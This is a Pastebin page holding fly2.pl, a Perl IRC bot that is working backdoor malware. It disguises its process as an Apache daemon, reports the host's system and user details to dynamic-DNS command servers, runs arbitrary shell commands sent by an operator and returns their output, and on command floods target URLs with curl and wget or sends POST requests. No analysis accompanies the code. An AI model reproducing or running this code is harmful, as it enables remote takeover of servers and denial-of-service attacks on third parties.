SHARE
TWEET

fly2.pl

eromang Oct 24th, 2011 1,287 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. use IO::Socket::INET;
  2. my $processo = "/usr/local/apache/bin/httpds";
  3. my $pid=fork;
  4. exit if $pid;
  5. $0="$processo"." "x16;
  6. my @sops =("localhost","jboss.dyndns.biz","webstats.twilightparadox.com","weztatso.dyndns-remote.com","jasuyeifd.dyndns.info","chillbill.twilightparadox.com","cents.dyndns-web.com","its".time()."s.dyndns.info",);
  7. my $port=2020*4;
  8. my $chan="#jb";
  9. my $boxing = `uname -a`;
  10. $user = `whoami`;
  11. $boxing =~ s/\r//g;
  12. $boxing =~ s/\n//g;
  13. $boxing =~ s/ //g;
  14. $boxing =~ s/\s//g;
  15. $user =~ s/\r//g;
  16. $user =~ s/\n//g;
  17. $user =~ s/ //g;
  18. $user =~ s/\s//g;
  19. while(1) {
  20.   my $nick="fly[".int(rand(999999999))."]";
  21.   retry: close($sk);
  22.   my $server = "";
  23.   while(length($server)<10) {
  24.     $server = $sops[int(rand(9))];
  25.   }
  26.   sleep(3);
  27.   my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;
  28.   $sk->autoflush(1);
  29.   print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
  30.   print $sk "NICK $nick\r\n";
  31.   print $sk "USER ".$user." 8 *  : ".$user."\r\n";
  32.   while($line = <$sk>) {
  33.     $line =~ s/\r\n$//;
  34.     if ($line=~ /^PING \:(.*)/) {
  35.       print $sk "PONG :$1\r\n";
  36.     }
  37.     if($line =~ /welcome\sto/i) {
  38.       sleep(2);      print $sk "JOIN $chan\r\n";
  39.       sleep(1);
  40.       print $sk "PRIVMSG $chan :UserName=$boxing\r\n";
  41.     }
  42.     if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/) {
  43.       $owner=$line;
  44.       $de=$2;
  45.       if($owner=~/iseee/gi) {
  46.         @shell=`$de`;
  47.         foreach $line (@shell) {
  48.           sendsk($sk, "PRIVMSG iseee :$line\r\n");
  49.           sleep(1);
  50.         }
  51.       }
  52.     }
  53.     if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/) {
  54.       $owner=$line;
  55.       $url=$2;
  56.       $mult=$3;
  57.       if($owner=~/iseee/gi) {
  58.         $url=~/http:\/\/(.*)\/(.*)/g;
  59.         for($xz=0;$xz<=$mult;$xz++) {
  60.           system("curl ".$url.">/dev/null&");
  61.           `curl "$url">/dev/null&`;
  62.           system("wget ".$url.">/dev/null&");
  63.           `wget "$url">/dev/null&`;
  64.           system("wget $url>/dev/null&");
  65.         }
  66.         sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");
  67.       }
  68.     }
  69.     if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/) {
  70.       $owner=$line;
  71.       $url=$2;
  72.       $ddata=$3;
  73.       if($owner=~/iseee/gi) {
  74.         $url=~/http:\/\/(.*)\/(.*)/g;
  75.         $host=$1;
  76.         $path=$2;
  77.         my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);
  78.         print $sck  "POST /$path HTTP/1.0\r\n".     "Host: $host\r\n".    "Connection: close\r\n".    "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
  79.         sleep(1);
  80.         close($sck);
  81.         sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
  82.       }
  83.     }
  84.   }
  85. }
  86. sub sendsk() {
  87.   if ($#_ == 1) {
  88.     my $sk = $_[0];
  89.     print $sk "$_[1]\n";
  90.   }
  91.   else
  92.   {
  93.     print $sk "$_[0]\n";
  94.   }
  95. }
  96.  
RAW Paste Data
Top